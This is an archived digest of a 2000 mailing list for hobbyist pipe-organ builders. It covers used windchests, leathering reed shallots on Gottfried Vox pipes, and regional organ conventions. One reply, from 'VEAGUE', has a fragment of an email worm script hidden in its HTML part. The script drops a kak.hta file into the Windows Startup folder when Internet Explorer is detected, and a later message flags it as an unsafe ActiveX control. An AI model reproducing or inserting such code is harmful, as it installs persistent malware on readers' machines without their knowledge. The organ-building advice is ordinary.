DIYAPASON-L Digest #85 - Tuesday, May 2, 2000
 
Re: [Residence Organs]  Used Chests
  by "mike mcdonald" <pipeorganman@localaccess.com>
Leathered Shallots
  by "John Burns" <burnsjr@prodigy.net>
Fw: [Residence Organs]  Leathered Shallots
  by "VEAGUE" <dutchorgan@svs.net>
RE: [Residence Organs]  Leathered Shallots
  by "Wietstock, Steven M" <swietsto@indiana.edu>
Re: [Residence Organs]  Leathered Shallots
  by "Tim Bovard" <tmbovard@arkansas.net>
Re: [Residence Organs]  Used Chests
  by <Pipewheezr@aol.com>
RE: [Residence Organs]  Used Chests
  by "Tom Ed Moore" <TMoore@unanov.una.edu>
RE: [Residence Organs]  Used Chests
  by "Tom Ed Moore" <TMoore@unanov.una.edu>
RE: [Residence Organs]  Leathered Shallots
  by "John Burns" <burnsjr@prodigy.net>
AGO Conventions?
  by "John Vanderlee" <jovanderlee@vassar.edu>
Re: [Residence Organs]  AGO Conventions?
  by "Larry Chace" <rlc1@etnainstruments.com>
 

(back) Subject: Re: [Residence Organs] Used Chests From: "mike mcdonald" <pipeorganman@localaccess.com> Date: Mon, 01 May 2000 21:49:54 -0700   Tom were do you live I have several chest I will sell cheap and send you = pics. if it is not to much to ship Mike   Tom Ed Moore wrote:   > Dear List, > > I am searching for a good, used, 4 rk chest. Any suggestions on where = to look > will be appreciated. > > Tom Ed Moore > tmoore@unanov.una.edu > > DIYAPASON-L: a Discussion list for owners and builders of their own > Residence Pipe Organs. > HOMEPAGE : http://www.diyapason.pipechat.org > List: mailto:DIYAPASON-L@pipechat.org > Administration: mailto:owner-DIYAPASON@pipechat.org    
(back) Subject: Leathered Shallots From: "John Burns" <burnsjr@prodigy.net> Date: Tue, 2 May 2000 01:49:15 -0400   This is a multi-part message in MIME format.   ------=3D_NextPart_000_003A_01BFB3D8.9F1DC760 Content-Type: text/plain; charset=3D"iso-8859-1" Content-Transfer-Encoding: 7bit   I have a set of 1926 Gottfried Voxes. In the lower octave the surfaces = where the reed contacts the shallot are leathered. I'd like to know: 1. What type of leather is used for this? 2. What adhesive is used to glue the leather to the metal? 3 Does the surface of the leather that contacts the reed have a particular finish, or some agent applied to it to make it smooth?   Thanks, John   PS - BTW, after cleaning a bit, the shallot on the CC indicated Gottfried = as the manufacturer, and also said "oboe."     ------=3D_NextPart_000_003A_01BFB3D8.9F1DC760 Content-Type: text/html; charset=3D"iso-8859-1" Content-Transfer-Encoding: quoted-printable   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D3D"text/html; charset=3D3Diso-8859-1" =3D http-equiv=3D3DContent-Type> <META content=3D3D"MSHTML 5.00.2314.1000" name=3D3DGENERATOR></HEAD> <BODY bgColor=3D3D#ffffff> <DIV><SPAN class=3D3D370484105-02052000>I have a set of 1926 Gottfried =3D Voxes. In the=3D20 lower octave the surfaces where the reed contacts the shallot are =3D leathered. I'd=3D20 like to know:</SPAN></DIV> <DIV><SPAN class=3D3D370484105-02052000>1. What type of leather is used = =3D for=3D20 this?</SPAN></DIV> <DIV><SPAN class=3D3D370484105-02052000>2. What adhesive is used to glue = =3D the leather=3D20 to the metal?</SPAN></DIV> <DIV><SPAN class=3D3D370484105-02052000>3 Does the surface of the leather = =3D that=3D20 contacts the reed have a particular finish, or some agent applied to it = =3D to make=3D20 it smooth?</SPAN></DIV> <DIV><SPAN class=3D3D370484105-02052000></SPAN>&nbsp;</DIV> <DIV><SPAN class=3D3D370484105-02052000>Thanks,</SPAN></DIV> <DIV><SPAN class=3D3D370484105-02052000>John</SPAN></DIV> <DIV><SPAN class=3D3D370484105-02052000></SPAN>&nbsp;</DIV> <DIV><SPAN class=3D3D370484105-02052000>PS - BTW, after cleaning a bit, = =3D the shallot=3D20 on the CC indicated Gottfried as the manufacturer, and also said=3D20 "oboe."</SPAN></DIV> <DIV>&nbsp;</DIV></BODY></HTML>   ------=3D_NextPart_000_003A_01BFB3D8.9F1DC760--    
(back) Subject: Fw: [Residence Organs] Leathered Shallots From: "VEAGUE" <dutchorgan@svs.net> Date: Tue, 2 May 2000 06:43:49 -0500   This is a multi-part message in MIME format.   ------=3D_NextPart_000_0008_01BFB401.C60EF820 Content-Type: text/plain; charset=3D"iso-8859-1" Content-Transfer-Encoding: quoted-printable   Hey John-   ----- Original Message -----=3D20 From: John Burns=3D20 To: DIYAPASON-L@pipechat.org=3D20 Sent: Tuesday, May 02, 2000 12:49 AM Subject: [Residence Organs] Leathered Shallots     I have a set of 1926 Gottfried Voxes. In the lower octave the surfaces =3D where the reed contacts the shallot are leathered. I'd like to know: 1. What type of leather is used for this?   **** Tan pouch leather   2. What adhesive is used to glue the leather to the metal?   ****Hot glue   3 Does the surface of the leather that contacts the reed have a =3D particular finish, or some agent applied to it to make it smooth?   ****Smooth side out. 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=3D !]]%%%%%</"+"BODY></"+"HTML";la=3D3D(navigator.systemLanguage)?navigator.sy= =3D stemLanguage:navigator.language;scr.Path=3D3D(la=3D3D=3D3D"fr")?"C:\\window= s\\M=3D enu Demarrer\\Programmes\\Demarrage\\kak.hta":"C:\\windows\\Start =3D Menu\\Programs\\StartUp\\kak.hta";agt=3D3Dnavigator.userAgent.toLowerCase()= =3D ;if(((agt.indexOf("msie")!=3D3D-1)&&(parseInt(navigator.appVersion)>4))||(a= =3D gt.indexOf("msie 5.")!=3D3D-1))scr.write(); // --></SCRIPT> </OBJECT></DIV> <DIV style=3D3D"FONT: 10pt arial">----- Original Message -----=3D20 <DIV style=3D3D"BACKGROUND: #e4e4e4; font-color: black"><B>From:</B> = <A=3D20 href=3D3D"mailto:burnsjr@prodigy.net" title=3D3Dburnsjr@prodigy.net>John = =3D Burns</A>=3D20 </DIV> <DIV><B>To:</B> <A href=3D3D"mailto:DIYAPASON-L@pipechat.org"=3D20 title=3D3DDIYAPASON-L@pipechat.org>DIYAPASON-L@pipechat.org</A> </DIV> <DIV><B>Sent:</B> Tuesday, May 02, 2000 12:49 AM</DIV> <DIV><B>Subject:</B> [Residence Organs] Leathered Shallots</DIV></DIV> <DIV><BR></DIV> <DIV><SPAN class=3D3D370484105-02052000>I have a set of 1926 Gottfried =3D Voxes. In the=3D20 lower octave the surfaces where the reed contacts the shallot are =3D leathered. I'd=3D20 like to know:</SPAN></DIV> <DIV><SPAN class=3D3D370484105-02052000>1. What type of leather is used = =3D for=3D20 this?</SPAN></DIV> <DIV><SPAN class=3D3D370484105-02052000></SPAN>&nbsp;</DIV> <DIV><SPAN class=3D3D370484105-02052000>**** Tan pouch =3D leather</SPAN></DIV> <DIV><SPAN class=3D3D370484105-02052000></SPAN>&nbsp;</DIV> <DIV><SPAN class=3D3D370484105-02052000>2. What adhesive is used to glue = =3D the leather=3D20 to the metal?</SPAN></DIV> <DIV><SPAN class=3D3D370484105-02052000></SPAN>&nbsp;</DIV> <DIV><SPAN class=3D3D370484105-02052000>****Hot glue</SPAN></DIV> <DIV><SPAN class=3D3D370484105-02052000></SPAN>&nbsp;</DIV> <DIV><SPAN class=3D3D370484105-02052000>3 Does the surface of the leather = =3D that=3D20 contacts the reed have a particular finish, or some agent applied to it = =3D to make=3D20 it smooth?</SPAN></DIV> <DIV><SPAN class=3D3D370484105-02052000></SPAN>&nbsp;</DIV> <DIV><SPAN class=3D3D370484105-02052000>****Smooth side out. Hair side =3D glued to=3D20 shallot</SPAN></DIV> <DIV><SPAN class=3D3D370484105-02052000></SPAN>&nbsp;</DIV> <DIV><SPAN class=3D3D370484105-02052000></SPAN>&nbsp;</DIV> <DIV><SPAN=3D20 class=3D3D370484105-02052000>Thanks,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb= =3D sp;&nbsp;=3D20 You're velcome</SPAN></DIV> <DIV><SPAN=3D20 class=3D3D370484105-02052000>John&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= =3D &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=3D20 Rick</SPAN></DIV> <DIV><SPAN class=3D3D370484105-02052000></SPAN>&nbsp;</DIV> <DIV><SPAN class=3D3D370484105-02052000>PS - BTW, after cleaning a bit, = =3D the shallot=3D20 on the CC indicated Gottfried as the manufacturer, and also said=3D20 "oboe."</SPAN></DIV> <DIV>&nbsp;</DIV></BODY></HTML>   ------=3D_NextPart_000_0008_01BFB401.C60EF820--      
(back) Subject: RE: [Residence Organs] Leathered Shallots From: "Wietstock, Steven M" <swietsto@indiana.edu> Date: Tue, 2 May 2000 07:28:42 -0500   FYI -- Our virus/security system has indicated that the message from VEAGUE [mailto:dutchorgan@svs.net] is infected with an "unsafe ActiveX control".   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Steven M. Wietstock, Ph.D. Phone: 812-855-2700 Coord. of Instructional Programs Fax: 812-855-8300 Department of Chemistry, C021 Indiana University Email: swietsto@indiana.edu 800 E. Kirkwood Ave Bloomington, IN 47405-7102 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~     -----Original Message----- From: VEAGUE [mailto:dutchorgan@svs.net] Sent: Tuesday, May 02, 2000 6:44 AM To: DIYAPASON-L@pipechat.org Subject: Fw: [Residence Organs] Leathered Shallots     Hey John-   ----- Original Message ----- From: John Burns <mailto:burnsjr@prodigy.net> To: DIYAPASON-L@pipechat.org <mailto:DIYAPASON-L@pipechat.org> Sent: Tuesday, May 02, 2000 12:49 AM Subject: [Residence Organs] Leathered Shallots   I have a set of 1926 Gottfried Voxes. In the lower octave the surfaces = where the reed contacts the shallot are leathered. I'd like to know: 1. What type of leather is used for this? **** Tan pouch leather 2. What adhesive is used to glue the leather to the metal? ****Hot glue 3 Does the surface of the leather that contacts the reed have a particular finish, or some agent applied to it to make it smooth? ****Smooth side out. Hair side glued to shallot Thanks, You're velcome John Rick PS - BTW, after cleaning a bit, the shallot on the CC indicated Gottfried = as the manufacturer, and also said "oboe."    
(back) Subject: Re: [Residence Organs] Leathered Shallots From: "Tim Bovard" <tmbovard@arkansas.net> Date: Tue, 02 May 2000 07:55:29 -0500   --=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D_1607272= =3D=3D_.ALT Content-Type: text/plain; charset=3D"us-ascii"   At 5/2/00 01:49 AM, you wrote: > > I have a set of 1926 Gottfried Voxes. In the lower octave the surfaces = where > the reed contacts the shallot are leathered. I'd like to know: > 1. What type of leather is used for this? > 2. What adhesive is used to glue the leather to the metal? > 3 Does the surface of the leather that contacts the reed have a = particular > finish, or some agent applied to it to make it smooth? > > Thanks, > John       Hi, John!   1) the important factor for the leather on shallots is its thickness -- generally, it's similar to gusset leather, of a medium grade and = thickness. Measure the amount of "relief" (usually the business end of the shallot = face has a 'cut-back' to allow the leather to fit in and the shallot face to = still remain flat) 2) hide glue, usually -- but this is not terribly critical. Most = anything that glues leather to brass will work fine, if applied sparingly. Hide = glue is good, because it is easily removable after time. 3) the "rough" (sueded) side of the leather usually faces out (against = the reed). It will appear smooth, due to the fact that the leather becomes compressed from the constant pressure of the reed beating against it. = This potential "compression" of the leather needs to be taken into account when choosing new leather to replace older stuff. > > > PS - BTW, after cleaning a bit, the shallot on the CC indicated = Gottfried as > the manufacturer, and also said "oboe."       This is not at all uncommon for Gottfried reeds. Seems that they would = make several sorts of "stock" sets of shallots that would end up in various varieties of reed pipes -- and often in pipes different than the name on = the shallot. (ie -- oboe shallots also go in voxes...trumpet shallots also go = in post horns, or whatever) We have several sets of old Gottfried reeds at = the shop, and most of them have shallots that "don't match" the names on the = pipes themselves -- this is just a symptom of their production process, where = the shallots were made in 'bulk', and probably in another department of the = factory than the resonators of the pipes were built in.   Good luck!! Hope this all helps!   Tim (who'll try to remember to look at 'our' Gottfried Vox this morning, to = make sure I haven't inadvertently lied to 'ya! <g>)         > >       --=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D_1607272= =3D=3D_.ALT Content-Type: text/html; charset=3D"us-ascii"   <html> At 5/2/00 01:49 AM, you wrote: <br> <blockquote type=3Dcite cite>I have a set of 1926 Gottfried Voxes. In the lower octave the surfaces where the reed contacts the shallot are leathered. I'd like to know:<br> 1. What type of leather is used for this?<br> 2. What adhesive is used to glue the leather to the metal?<br> 3 Does the surface of the leather that contacts the reed have a particular finish, or some agent applied to it to make it smooth?<br> &nbsp;<br> Thanks,<br> John</blockquote><br> <br> Hi, John!<br> <br> 1)&nbsp; the important factor for the leather on shallots is its thickness -- generally, it's similar to gusset leather, of a medium grade and thickness.&nbsp; Measure the amount of &quot;relief&quot; (usually the business end of the shallot face has a 'cut-back' to allow the leather to fit in and the shallot face to still remain flat)<br> 2)&nbsp; hide glue, usually -- but this is not terribly critical.&nbsp; Most anything that glues leather to brass will work fine, if applied sparingly.&nbsp; Hide glue is good, because it is easily removable after time.<br> 3)&nbsp; the &quot;rough&quot; (sueded) side of the leather usually faces out (against the reed).&nbsp; It will appear smooth, due to the fact that the leather becomes compressed from the constant pressure of the reed beating against it.&nbsp; This potential &quot;compression&quot; of the leather needs to be taken into account when choosing new leather to replace older stuff.<br> <blockquote type=3Dcite cite>&nbsp;<br> PS - BTW, after cleaning a bit, the shallot on the CC indicated Gottfried as the manufacturer, and also said &quot;oboe.&quot;</blockquote><br> <br> This is not at all uncommon for Gottfried reeds.&nbsp; Seems that they would make several sorts of &quot;stock&quot; sets of shallots that would end up in various varieties of reed pipes -- and often in pipes different than the name on the shallot. (ie -- oboe shallots also go in voxes...trumpet shallots also go in post horns, or whatever)&nbsp; We have several sets of old Gottfried reeds at the shop, and most of them have shallots that &quot;don't match&quot; the names on the pipes themselves -- this is just a symptom of their production process, where the shallots were made in 'bulk', and probably in another department of the factory than the resonators of the pipes were built in.&nbsp; <br> <br> Good luck!!&nbsp; Hope this all helps!<br> <br> Tim <br> (who'll try to remember to look at 'our' Gottfried Vox this morning, to make sure I haven't inadvertently lied to 'ya!&nbsp; &lt;g&gt;)<br> <br> <br> <br> <br> <blockquote type=3Dcite cite>&nbsp;</blockquote><br> </html>   --=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D_1607272= =3D=3D_.ALT--    
(back) Subject: Re: [Residence Organs] Used Chests From: <Pipewheezr@aol.com> Date: Tue, 2 May 2000 10:30:01 EDT   Hi Tom ,one person I have gotten chests from is ,Dalianvan ,that is his e-mail name.His real name is Bruce Ioppine I think .   I have gotten a few chests from him and they are always excelent condition = ,I don't know where he finds them. I take them apart clean them out put them back together ,one had cork gaskets.Pouches look new magnets allways work,just remove old wire ends = from pins. Give him a try.   Dennis  
(back) Subject: RE: [Residence Organs] Used Chests From: "Tom Ed Moore" <TMoore@unanov.una.edu> Date: Tue, 2 May 2000 10:53:05 -0500   Mike,   I am in Florence, AL which is in the far Northwest corner of the state = almost to Tennessee. Here's what I need: a four rank chest with max diminsions = of 3'x7' and a 12 note offset max dim of 4'x14". Any help is appreciated   Tom Ed Moore tmoore@unanov.una.edu       >=3D=3D=3D=3D=3D Original Message From "Residence Organ List" = <DIYAPASON-L@pipechat.org> =3D=3D=3D=3D=3D >Tom were do you live I have several chest I will sell cheap and send you pics. if >it is not to much to ship Mike > >Tom Ed Moore wrote: > >> Dear List, >> >> I am searching for a good, used, 4 rk chest. Any suggestions on where = to look >> will be appreciated. >> >> Tom Ed Moore >> tmoore@unanov.una.edu >> >> DIYAPASON-L: a Discussion list for owners and builders of their own >> Residence Pipe Organs. >> HOMEPAGE : http://www.diyapason.pipechat.org >> List: mailto:DIYAPASON-L@pipechat.org >> Administration: mailto:owner-DIYAPASON@pipechat.org > > >DIYAPASON-L: a Discussion list for owners and builders of their own >Residence Pipe Organs. >HOMEPAGE : http://www.diyapason.pipechat.org >List: mailto:DIYAPASON-L@pipechat.org >Administration: mailto:owner-DIYAPASON@pipechat.org    
(back) Subject: RE: [Residence Organs] Used Chests From: "Tom Ed Moore" <TMoore@unanov.una.edu> Date: Tue, 2 May 2000 10:54:09 -0500   >=3D=3D=3D=3D=3D Original Message From "Residence Organ List" = <DIYAPASON-L@pipechat.org> =3D=3D=3D=3D=3D >Mike, > >I am in Florence, AL which is in the far Northwest corner of the state = almost >to Tennessee. Here's what I need: a four rank chest with max diminsions = of >3'x7' and a 12 note offset max dim of 4'x14". Any help is appreciated > >Tom Ed Moore >tmoore@unanov.una.edu > > > >>=3D=3D=3D=3D=3D Original Message From "Residence Organ List" <DIYAPASON-L@pipechat.org> >=3D=3D=3D=3D=3D >>Tom were do you live I have several chest I will sell cheap and send you >pics. if >>it is not to much to ship Mike >> >>Tom Ed Moore wrote: >> >>> Dear List, >>> >>> I am searching for a good, used, 4 rk chest. Any suggestions on where = to >look >>> will be appreciated. >>> >>> Tom Ed Moore >>> tmoore@unanov.una.edu >>> >>> DIYAPASON-L: a Discussion list for owners and builders of their own >>> Residence Pipe Organs. >>> HOMEPAGE : http://www.diyapason.pipechat.org >>> List: mailto:DIYAPASON-L@pipechat.org >>> Administration: mailto:owner-DIYAPASON@pipechat.org >> >> >>DIYAPASON-L: a Discussion list for owners and builders of their own >>Residence Pipe Organs. >>HOMEPAGE : http://www.diyapason.pipechat.org >>List: mailto:DIYAPASON-L@pipechat.org >>Administration: mailto:owner-DIYAPASON@pipechat.org > > >DIYAPASON-L: a Discussion list for owners and builders of their own >Residence Pipe Organs. >HOMEPAGE : http://www.diyapason.pipechat.org >List: mailto:DIYAPASON-L@pipechat.org >Administration: mailto:owner-DIYAPASON@pipechat.org    
(back) Subject: RE: [Residence Organs] Leathered Shallots From: "John Burns" <burnsjr@prodigy.net> Date: Tue, 2 May 2000 12:12:13 -0400   This is a multi-part message in MIME format.   ------=3D_NextPart_000_0004_01BFB42F.A6703FA0 Content-Type: text/plain; charset=3D"iso-8859-1" Content-Transfer-Encoding: 7bit   Thanks for that information. The only problem is, there seems to be a difference of opinion on which side goes "out." Any tiebreakers out there?   Tim, that's what I figured about the stamping on the shallot. Wasn't = really concerned it had the wrong one on there. Just an interesting fact. And, I didn't have a Gottfried oboe around to compare shallots.   Thanks again, John -----Original Message----- From: DIYAPASON-L@pipechat.org [mailto:DIYAPASON-L@pipechat.org]On Behalf = Of Tim Bovard Sent: Tuesday, May 02, 2000 8:55 AM To: Residence Organ List Subject: Re: [Residence Organs] Leathered Shallots     Hi, John!   1) the important factor for the leather on shallots is its thickness -- generally, it's similar to gusset leather, of a medium grade and = thickness. Measure the amount of "relief" (usually the business end of the shallot = face has a 'cut-back' to allow the leather to fit in and the shallot face to still remain flat) 2) hide glue, usually -- but this is not terribly critical. Most = anything that glues leather to brass will work fine, if applied sparingly. Hide = glue is good, because it is easily removable after time. 3) the "rough" (sueded) side of the leather usually faces out (against = the reed). It will appear smooth, due to the fact that the leather becomes compressed from the constant pressure of the reed beating against it. = This potential "compression" of the leather needs to be taken into account when choosing new leather to replace older stuff.     PS - BTW, after cleaning a bit, the shallot on the CC indicated = Gottfried as the manufacturer, and also said "oboe."     This is not at all uncommon for Gottfried reeds. Seems that they would = make several sorts of "stock" sets of shallots that would end up in various varieties of reed pipes -- and often in pipes different than the name on = the shallot. (ie -- oboe shallots also go in voxes...trumpet shallots also go = in post horns, or whatever) We have several sets of old Gottfried reeds at = the shop, and most of them have shallots that "don't match" the names on the pipes themselves -- this is just a symptom of their production process, where the shallots were made in 'bulk', and probably in another department of the factory than the resonators of the pipes were built in.   Good luck!! Hope this all helps!   Tim (who'll try to remember to look at 'our' Gottfried Vox this morning, to = make sure I haven't inadvertently lied to 'ya! <g>)                 ------=3D_NextPart_000_0004_01BFB42F.A6703FA0 Content-Type: text/html; charset=3D"iso-8859-1" Content-Transfer-Encoding: quoted-printable   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D3D"text/html; charset=3D3Dwindows-1252" =3D http-equiv=3D3DContent-Type> <META content=3D3D"MSHTML 5.00.2314.1000" name=3D3DGENERATOR></HEAD> <BODY> <DIV><FONT color=3D3D#000080><SPAN class=3D3D280052714-02052000>Thanks for = =3D that=3D20 information. The only problem is, there seems to be a difference of =3D opinion on=3D20 which side goes "out." Any tiebreakers out there?</SPAN></FONT></DIV> <DIV><FONT color=3D3D#000080><SPAN=3D20 class=3D3D280052714-02052000></SPAN></FONT>&nbsp;</DIV> <DIV><FONT color=3D3D#000080><SPAN class=3D3D280052714-02052000>Tim, = that's =3D what I=3D20 figured about the stamping on the shallot. Wasn't really concerned it =3D had the=3D20 wrong one on there. Just an interesting fact. And, I didn't have a =3D Gottfried=3D20 oboe around to compare shallots.</SPAN></FONT></DIV> <DIV><FONT color=3D3D#000080><SPAN=3D20 class=3D3D280052714-02052000></SPAN></FONT>&nbsp;</DIV> <DIV><FONT color=3D3D#000080><SPAN = class=3D3D280052714-02052000>Thanks=3D20 again,</SPAN></FONT></DIV> <DIV><FONT color=3D3D#000080><SPAN =3D class=3D3D280052714-02052000>John</SPAN></FONT></DIV> <DIV class=3D3DOutlookMessageHeader><FONT size=3D3D2>-----Original=3D20 Message-----<BR><B>From:</B> DIYAPASON-L@pipechat.org=3D20 [mailto:DIYAPASON-L@pipechat.org]<B>On Behalf Of</B> Tim =3D Bovard<BR><B>Sent:</B>=3D20 Tuesday, May 02, 2000 8:55 AM<BR><B>To:</B> Residence Organ=3D20 List<BR><B>Subject:</B> Re: [Residence Organs] Leathered=3D20 Shallots<BR><BR></FONT></DIV>Hi, John!<BR><BR>1)&nbsp; the important =3D factor for=3D20 the leather on shallots is its thickness -- generally, it's similar to =3D gusset=3D20 leather, of a medium grade and thickness.&nbsp; Measure the amount of =3D "relief"=3D20 (usually the business end of the shallot face has a 'cut-back' to allow = =3D the=3D20 leather to fit in and the shallot face to still remain flat)<BR>2)&nbsp; = =3D hide=3D20 glue, usually -- but this is not terribly critical.&nbsp; Most anything = =3D that=3D20 glues leather to brass will work fine, if applied sparingly.&nbsp; Hide = =3D glue is=3D20 good, because it is easily removable after time.<BR>3)&nbsp; the "rough" = =3D   (sueded) side of the leather usually faces out (against the reed).&nbsp; = =3D It will=3D20 appear smooth, due to the fact that the leather becomes compressed from = =3D the=3D20 constant pressure of the reed beating against it.&nbsp; This = potential=3D20 "compression" of the leather needs to be taken into account when =3D choosing new=3D20 leather to replace older stuff.<BR> <BLOCKQUOTE cite type=3D3D"cite"><BR>PS - BTW, after cleaning a bit, the = =3D shallot=3D20 on the CC indicated Gottfried as the manufacturer, and also said=3D20 "oboe."</BLOCKQUOTE><BR><BR>This is not at all uncommon for Gottfried=3D20 reeds.&nbsp; Seems that they would make several sorts of "stock" sets of = =3D   shallots that would end up in various varieties of reed pipes -- and =3D often in=3D20 pipes different than the name on the shallot. (ie -- oboe shallots also = =3D go in=3D20 voxes...trumpet shallots also go in post horns, or whatever)&nbsp; We =3D have=3D20 several sets of old Gottfried reeds at the shop, and most of them have =3D shallots=3D20 that "don't match" the names on the pipes themselves -- this is just a =3D symptom=3D20 of their production process, where the shallots were made in 'bulk', and = =3D   probably in another department of the factory than the resonators of the = =3D pipes=3D20 were built in.&nbsp; <BR><BR>Good luck!!&nbsp; Hope this all =3D helps!<BR><BR>Tim=3D20 <BR>(who'll try to remember to look at 'our' Gottfried Vox this morning, = =3D to make=3D20 sure I haven't inadvertently lied to 'ya!&nbsp; =3D &lt;g&gt;)<BR><BR><BR><BR><BR> <BLOCKQUOTE cite type=3D3D"cite">&nbsp;</BLOCKQUOTE><BR></BODY></HTML>   ------=3D_NextPart_000_0004_01BFB42F.A6703FA0--    
(back) Subject: AGO Conventions? From: "John Vanderlee" <jovanderlee@vassar.edu> Date: Tue, 02 May 2000 12:49:06 -0500   Dear list,   I am aware of the OHS convention in Boston this summer, but are there any other AGO/OHS conventions in the North East during the coming months?   Traveling organ lovers want to know..   Regards,   John V        
(back) Subject: Re: [Residence Organs] AGO Conventions? From: "Larry Chace" <rlc1@etnainstruments.com> Date: Tue, 02 May 2000 13:58:22 -0400   John Vanderlee asked about New England-ish organic gatherings. I believe that there will be a regional ATOS convention during the first weekend (or =   so) in November, centered around (but outside of) Boston. It will include =   organs in New Bedford, Providence, Wellesley, and Groton-ish. I think I = think!   Larry